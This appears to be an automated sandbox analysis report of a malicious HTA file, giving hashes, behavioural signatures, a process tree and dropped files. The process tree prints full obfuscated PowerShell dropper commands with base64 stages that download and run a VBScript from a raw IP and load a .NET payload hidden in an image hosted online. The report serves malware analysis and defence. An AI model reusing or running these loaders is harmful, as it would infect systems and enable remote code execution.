Analysis

  • max time kernel
    39s
  • max time network
    41s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    12-12-2024 02:23

General

  • Target

    62db7e02b51b89f767c5740bb8569668ddcf134b2865959d9fc7a749209d0539.hta

  • Size

    81KB

  • MD5

    76277ab4bde108fed474724b88ad0e39

  • SHA1

    f73ba378275e5bc2492e53b63c96c22f35599ffc

  • SHA256

    62db7e02b51b89f767c5740bb8569668ddcf134b2865959d9fc7a749209d0539

  • SHA512

    7a914101c566fcf41b596ceafdde08674a979c9c20731d2e9a1dd0d58cf360204bca82b4680faa684806a5e7e4e88f285cb63bf414fd613878f7281cf60fc5a1

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHAbvOx7ze2pe2Ju2x4/mlpu6ae28RWHTuQBwxW:tD

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\62db7e02b51b89f767c5740bb8569668ddcf134b2865959d9fc7a749209d0539.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3008
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowersHELl.eXE -EX ByPaSs -nop -W 1 -c deviCEcREdENTiaLDepLOYMent.eXE ; InVOkE-ExpRESsIOn($(InVoKE-EXpreSSiOn('[SysTEM.tEXt.ENcOdIng]'+[chaR]58+[ChAr]58+'uTf8.GETsTrInG([sysTEm.cOnVERt]'+[cHar]58+[char]0X3a+'FRoMBAse64StRinG('+[chAR]0x22+'JDZMOGwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSRGVGSW5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT3NoV2VtdixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVWVreVNwR3BtSixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2JkU3pCT3AsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsWmZpS2tRbmFKcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRmY2pmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJYb0UiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdUxxaHlmQUsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNkw4bDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS84MDgvdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdob2lub25saW5ld2l0aC50SUYiLCIkRU52OkFQUERBVEFcdmVyeW5pY2VjcmVhbXljaGlja2VuZnZvdXJhdGVkaXNoZXNmb3JldmVyeW9uZXdoby52YlMiLDAsMCk7U1RhUlQtU0xlZXAoMyk7aU52b2tlLWV4cHJFc1Npb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlbnY6QVBQREFUQVx2ZXJ5bmljZWNyZWFteWNoaWNrZW5mdm91cmF0ZWRpc2hlc2ZvcmV2ZXJ5b25ld2hvLnZiUyI='+[CHaR]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\veshqts2.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2684
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES736C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC736B.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2860
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS"
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $midroll = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHRlcnJpZnlpbmduZXNzID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGRvbG91cnMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRtZWNvcHRlcmFucyA9ICRkb2xvdXJzLkRvd25sb2FkRGF0YSgkdGVycmlmeWluZ25lc3MpOyRub3NleSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRtZWNvcHRlcmFucyk7JG1pY3JvZmljaGUgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JHNlbGVjdGl2ZWx5ID0gJzw8QkFTRTY0X0VORD4+JzskaXNvZXVnZW5vbCA9ICRub3NleS5JbmRleE9mKCRtaWNyb2ZpY2hlKTskd3JlYWtzID0gJG5vc2V5LkluZGV4T2YoJHNlbGVjdGl2ZWx5KTskaXNvZXVnZW5vbCAtZ2UgMCAtYW5kICR3cmVha3MgLWd0ICRpc29ldWdlbm9sOyRpc29ldWdlbm9sICs9ICRtaWNyb2ZpY2hlLkxlbmd0aDskcG9zdGVyaXNlZCA9ICR3cmVha3MgLSAkaXNvZXVnZW5vbDskZW52aWUgPSAkbm9zZXkuU3Vic3RyaW5nKCRpc29ldWdlbm9sLCAkcG9zdGVyaXNlZCk7JGhlcm1zID0gLWpvaW4gKCRlbnZpZS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZW52aWUuTGVuZ3RoKV07JGFtYmlnZW5hbCA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhlcm1zKTskc3RlcmlsaXR5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkYW1iaWdlbmFsKTskdm9ldGdhbmdlciA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyR2b2V0Z2FuZ2VyLkludm9rZSgkbnVsbCwgQCgnMC9rZTQ0MC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnYWRkb29tJywgJ2FkZG9vbScsICdhZGRvb20nLCAnQWRkSW5Qcm9jZXNzMzInLCAnYWRkb29tJywgJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJ2FkZG9vbScsJzEnLCdhZGRvb20nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$Angel = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($midroll));Invoke-Expression $Angel
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    e0637975fad5263557b5c841020e36be

    SHA1

    2bf14f1533edcd5e2c29953671ed3b5e01d89e03

    SHA256

    c41c1e94e2b2c0087d7c2c776995ee0cc60605330fe86ef26c3fa68593719367

    SHA512

    b74e0fbb7293b469b11cc9baea1be55ea9f9bef23e99f31acc290de8ce9657d9427a270871d5e2498ca59ba86e7e26d1cb20db4b34b2748f0618a34e7dc8421e

  • C:\Users\Admin\AppData\Local\Temp\Cab8787.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES736C.tmp

    Filesize

    1KB

    MD5

    130ff2e7c66f906e5386f499e4ee74b2

    SHA1

    f44885a9d2c1339d39b58448d43de676ebefbc48

    SHA256

    5d26c4097f743a0177d86f7cf0c252574c1c2dd7087ca9ff4133506ff87e306a

    SHA512

    3b59bf5326a7127186bb08200b0d7419451dc29b23d79585f59a659ba5bbf8d4b53698c925dc2f6d2e6758797636ef5145fae4d02bc3fa29478a9965f54ade21

  • C:\Users\Admin\AppData\Local\Temp\Tar8817.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\veshqts2.dll

    Filesize

    3KB

    MD5

    ec0fbfe03ee8b2a03b152d147f4abe6f

    SHA1

    cc91df23c3dd2e8937cd76003ff49759b2360f94

    SHA256

    45fbbb462448b3b8b17b86f78a07b1b7884650fbf4468cdb085d4b3931907512

    SHA512

    6e6ef63f361952b8fb36b447e113aa593ac8ab0dbab6d81737ca8a6f7687f6d3b685473b06e7a3d8aaa5d8451505bc7006ae6f857ba0a9436645c65df756c22b

  • C:\Users\Admin\AppData\Local\Temp\veshqts2.pdb

    Filesize

    7KB

    MD5

    df39bda209816738eba5b4d6f393a293

    SHA1

    e6f71dc87abd9bd2c4a2eda1cdb8a33bf3f62dc4

    SHA256

    2ec25bcd518ebb23beecf9e418fa34e0f4ffade00b6f1f756b28b83715a2d432

    SHA512

    09913bce88716bb1d59dcae97454f0860438a73bf85c56885b89f37b9c18a28b5e88610a1d6e042977bb3591794e87460e254a78c51f6fc8547132be52728ad3

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    316d1523fd784aabc3cfd1a0a7443f80

    SHA1

    e263484e72a33babef61b3569465597540fed47e

    SHA256

    4eabcd8348f0158b0f79cbefa18be07ffa6d6f6b43e167f6451789f43152bf21

    SHA512

    c47dfcd3f7df9be4463dc6a6eda4c8fa806e3268508c67048503f4ba104ee32d270924c9deb5438f33e320114a6c7a4ea7a7ff74c40149cde52f448fb25ccbb7

  • C:\Users\Admin\AppData\Roaming\verynicecreamychickenfvouratedishesforeveryonewho.vbS

    Filesize

    1KB

    MD5

    a9de1dd61052fb7164600306135b0771

    SHA1

    4efefaf03b42637e74817b4695fc086b2d95191e

    SHA256

    bfbe88f62a33e1cd2289a9179dfe2151c9427c0ccd13753a029c3dcb78852fae

    SHA512

    9ce749ff8b7bb054b827534afbd900a44e6aa03e8818d4cf9121cc9e8448ebc0a21ce641e6db4d0824c14806cd34f8fee301a523c338526cb9c5757e1547f6bd

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC736B.tmp

    Filesize

    652B

    MD5

    4efc707ffc37f89e81de4f6d6a588015

    SHA1

    c0c169fa60db6b59fa184a222ddc35ef0eb5f4c5

    SHA256

    7c6ca98acc728de4e6a50a457049762154d607da808f75789a35a178d56a60d4

    SHA512

    c65b2cb549fb79aa5412c27bf0b0434930bf1dd96a54202c4a4c0419440e9c3d1c5be229169bcb704d0689386b289e90bb4dcce56f026278bb5db918ed388e75

  • \??\c:\Users\Admin\AppData\Local\Temp\veshqts2.0.cs

    Filesize

    496B

    MD5

    ee707a34980a4df56a07be04f7825b38

    SHA1

    65ce7b9161c445f33f2f28dc13c92872c209e83a

    SHA256

    fe3dc6c711ddb4c32c5ff8b18b557804d3180005bfa99a8dc02b945d70ea5cbc

    SHA512

    1fb569ac9eaca82c89cb3ed59bffe339fe579a62668ed4899d234ab64a4b08ead39c088db17d3745eb16b7f3428b6ed7eb664ed13f90b21d00759158a40f9cd5

  • \??\c:\Users\Admin\AppData\Local\Temp\veshqts2.cmdline

    Filesize

    309B

    MD5

    c25d994392554093f55d8befb97febdd

    SHA1

    9e6c6864b9a0bde180a9dd508741d754b552bfe1

    SHA256

    de6331c045f6bb419e24b621ef530a4e75ab878a53b372519fc6050d0bb8672d

    SHA512

    f641e4c99ed24883d61594b5834a9bfccc0701d2be86928e4a6eb262a9c3793161d4f4627b500fde0e1fea2783c31d0a324d196cee76564826f7c63ac0744e02